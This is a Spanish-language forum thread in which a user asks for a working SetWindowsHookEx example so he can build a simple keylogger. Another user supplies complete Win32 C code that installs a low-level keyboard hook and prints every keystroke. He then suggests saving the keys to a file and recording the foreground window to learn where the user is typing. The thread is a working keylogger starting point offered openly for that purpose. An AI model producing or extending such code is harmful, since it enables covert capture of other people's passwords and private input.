Autor
|
Tema: SetWindowsHookEx ¿hay un ejemplo claro y funcional? (Leído 11,232 veces)
|
yovaninu
Desconectado
Mensajes: 349
|
Buenas a todos
Me he pasado varias horas googleando a cerca de esta interesante API para 'enganchar' al teclado y a otras cosas, pero la mucha info que hay, esta al 90% en ingles y me cuesta entenderlo, por lo que pido ayuda a alguna alma caritativa para poder entenderla y ojala con un ejemplo funcional para a partir de alli poder crear por ejemplo un keylogger simple.
Por lo que he logrado entender, seria mejor usar un hook a WH_KEYBOARD_LL y no a WH_KEYBOARD, ya que esta ultima dependeria de una DLL.
Y por ultimo, ya que estoy bajo Visual C++ 2005, cual es el mejor escenario para poder crear por ejemplo un keylogger, una aplicación de consola o una aplicacion de Win32.
Se que puedo estar preguntando cosas sin saber pero justamente por eso os pido que me orienten un poco.
Saludos y muchas gracias desde ya.
|
|
|
En línea
|
|
|
|
naderST
|
Para el keylogger sin duda la aplicación Win32 y un ejemplo de un hook al teclado sería este: #include <windows.h> #include <stdio.h> HHOOK hHook; MSG messages; LRESULT CALLBACK hook_teclado(int nCode, WPARAM wParam, LPARAM lParam); int WINAPI WinMain (HINSTANCE hThisInstance, HINSTANCE hPrevInstance, LPSTR lpszArgument, int nCmdShow) { hHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)hook_teclado, hThisInstance, NULL); while(GetMessage(&messages, NULL, NULL, NULL)){ TranslateMessage(&messages); DispatchMessage(&messages); } return messages.wParam; } LRESULT CALLBACK hook_teclado(int nCode, WPARAM wParam, LPARAM lParam){ if(nCode < 0) return CallNextHookEx(hHook, nCode, wParam, lParam); if(wParam == WM_KEYDOWN){ PKBDLLHOOKSTRUCT teclado = (PKBDLLHOOKSTRUCT)lParam; printf("%c", teclado ->vkCode ); } return CallNextHookEx(hHook, nCode, wParam, lParam); }
Aquí algunos links a la MSDN: http://msdn.microsoft.com/en-us/library/ms644960(v=VS.85).aspxhttp://msdn.microsoft.com/en-us/library/ms644990(v=vs.85).aspxTodo lo que tiene que ver con el API de Windows esta ahí.
|
|
|
En línea
|
|
|
|
yovaninu
Desconectado
Mensajes: 349
|
Ok, gracias por el ejemplo naderST, aunque en el Vs 2005, tuve que cambiar la definicion del preprocesador a UNICODE;_UNICODE;_WIN32_WINNT=0x0500 para que el ejemplo pueda ejecutar, ya sin ello daba el error 'WH_KEYBOARD_LL': undeclared identifier
Bueno, al ejecutar el codigo de ejempo, aparentemente, ( o hasta donde hago el esfuerzo de entender) captura la tecla pulsada y luego el programa se detiene, me sale la sgte ventana: Cuales son los procedimientos que deberia realizar para poder ver las teclas capturadas y/o guardarlas en un archivo? Gracias por su tiempo.
|
|
|
En línea
|
|
|
|
naderST
|
teclado->vkCode
Con eso tienes la tecla y bueno lo demás de guardarlo en un archivo es básico, puedes usar la función GetForegroundWindow() para obtener la ventana actual y guardar eso en el archivo de texto y con eso saber en que ventana el usuario esta escribiendo y hay una infinidad de cosas que puedes hacer, ponte creativo.
|
|
|
En línea
|
|
|
|
|
|